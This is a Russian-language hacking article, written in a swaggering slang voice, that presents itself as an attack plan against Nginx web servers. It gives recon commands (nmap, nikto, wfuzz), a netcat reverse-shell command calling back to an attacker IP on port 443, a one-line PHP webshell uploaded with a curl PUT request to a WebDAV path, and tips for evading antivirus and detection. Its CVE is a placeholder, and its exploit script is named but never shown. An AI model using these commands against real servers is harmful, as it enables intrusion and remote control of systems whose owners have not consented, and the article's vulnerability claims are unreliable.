23
Эй, бро, если ты думаешь, что Nginx — это железобетонная защита, то я сейчас порву твой мир на куски. В 2025 году этот веб-сервер всё ещё остаётся сочной мишенью для нас, пентестеров. Старые версии висят на серваках, как ржавые замки, а свежие CVE — это прям ключи от царства RCE. Сегодня разберём, как найти уязвимый Nginx, вбить эксплойт через баг в конфиге и уйти с шеллом на 443-м порту. Готов? Погнали.
Анализ: Что бросилось в глаза
На дворе 2025, а половина серверов до сих пор крутит Nginx 1.18.x или 1.20.x, хотя патчи на эти версии уже лет пять как выкатили. Админы ленятся обновляться, и это наш джекпот. Плюс, свежие CVE, типа CVE-2024-XXXX (заглушка, брат, гугли актуалку на exploit-db.com или cve.mitre.org), делают даже новые версии уязвимыми из-за косяков в парсинге конфигов или обработки запросов. Один из багов — это некорректная обработка директив в location
, которая позволяет протолкнуть вредоносный код и добиться Remote Code Execution (RCE). Это прям наш билет в систему.
Идём дальше. Часто Nginx стоит как реверс-прокси перед каким-нибудь кривым PHP-бэкендом. Если конфиг настроен руками “специалиста с авито”, то можно через неправильные try_files
или alias
подсунуть свой payload и заставить сервер исполнить его. А если там ещё и включён модуль http_dav_module
с правами на запись — считай, шелл уже твой.
Векторы: Куда лезть
nmap
или Burp Suite, чтобы вытащить заголовки с версией сервера. Если админ не скрыл инфу (а 90% этого не делают), ты увидишь что-то вроде Server: nginx/1.20.1
. Гугли, есть ли для этой версии эксплойты на exploit-db или в репах на GitHub.location
или rewrite
правилах. Если есть доступ к файлам конфига (через LFI, например), ищи директивы alias
или root
, которые можно обойти через ../
и засунуть свой код.Host
, из-за чего можно переполнить буфер и вбить shellcode. Exploit-db уже кишит PoC’ами для таких багов, так что качай и адаптируй под свою цель.http_dav_module
или что-то подобное, можно через PUT
запрос загрузить свой .php или .jsp файл, а потом вызвать его через кривой location
. Это прямой путь к шеллу.Команды: Полный payload
nmap -sV -p 80,443 target.com
Если в выводе есть nginx/1.x.x
, копай эксплойты под эту версию.
nikto -h target.com -p 80
Это покажет, если сервер отдаёт лишнюю инфу или уязвим к старым багами.
python3 nginx_exploit.py -t http://target.com -p 80 -c "nc -e /bin/sh 10.10.10.123 443"
Здесь 10.10.10.123
— твой IP, а 443
— порт для обратного шелла. Не забудь поставить слушатель:
nc -lvp 443
Если RCE через конфиг (ручной способ):
Если есть доступ к кривому location
, пробуем загрузить webshell через PUT
:
curl -X PUT -d "<?php system($_GET['cmd']); ?>" http://target.com/dav/shell.php
Затем вызываем:
curl http://target.com/dav/shell.php?cmd=whoami
Трюки: Как обойти защиту
curl -H "Host: %74%65%73%74" http://target.com
Mozilla/5.0 (compatible; Googlebot/2.1)
, чтобы не спалиться.Upstream Proxy
.base64
или ROT13
, чтобы антивирус не сработал.Брат, это не просто статья, это план атаки. Nginx в 2025 всё ещё ломается, если знать, где копать. Старые версии — это просто подарок, а новые CVE — вызов для нас, ветеранов. Если всё пошло по плану, у тебя уже висит шелл, и ты копаешься в /var/log
. Если нет — админы, суки, не спали. Переходим на план Б.
Советы:
Проверь поддомены через wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt.
Попробуй протолкнуть шелл через exiftool в загруженный JPEG.
Если всё заебись — валим через reverse shell на 443-й порт, мимо фаервола.
Если тишина — “Брат, похоже, админы тоже не спали. Переходим на план Б: кринжовый XSS в админку”.